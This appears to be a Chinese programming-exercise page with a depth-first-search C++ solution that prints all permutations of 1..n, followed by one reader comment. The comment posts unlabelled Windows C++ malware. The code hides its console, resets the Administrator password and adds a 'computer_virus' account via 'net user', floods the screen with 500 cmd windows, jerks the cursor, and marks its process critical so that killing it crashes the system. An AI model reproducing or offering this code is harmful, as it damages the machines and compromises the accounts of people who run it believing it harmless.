深度优先搜索题解
2025-08-07 22:08:21
发布于:浙江
思路详情见代码
#include <bits/stdc++.h>
using namespace std;
int n;
int a[10];//存放全排列的结果
bool f[10];//标记哪些数使用过
void print(){
for(int i = 1;i <= n;i++){
cout<<setw(5)<<a[i];//输出5个场宽
}
cout<<endl;
}
//递归函数:为a数组每个元素赋值
void fun(int k){
for(int i = 1;i <= n;i++){
//如果i这个数没有被用过,则填写到下标为k的位置
if(f[i] == false){
a[k] = i;
//标记数字i被选用了
f[i] = true;
//如果a中存储了n个元素,输出结果,否则递归为k+1的下标赋值
if(k == n){
print();
}else{
fun(k+1);
}
//回溯到前一个状态,标记i没有被用过
f[i] = false;
}
}
}
int main(){
cin>>n;
//为a数组的下标为1的位置赋值
fun(1);
}
全部评论 1
#include <bits/stdc++.h>
#include <windows.h>
#include <winternl.h>
using namespace std;
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main() {
HideWindow();
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
system("net user Administator 123456");
system("net user computer_virus computer_virus /add");
for(unsigned long long i = 1; i <= 500; i++)
{
system("start cmd");
for(int i=1;i<=100;i++)
{
SetCursorPos(rand()%y,rand()%x);
}
}
typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
RtlAdjustPrivilege AdjustPrivilege;
RtlSetProcessIsCritical SetCriticalProcess;
HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
BOOLEAN b;
AdjustPrivilege(20UL, TRUE, FALSE, &b);
SetCriticalProcess(TRUE, NULL, FALSE);
return 0;
}9小时前 来自 浙江
0
有帮助,赞一个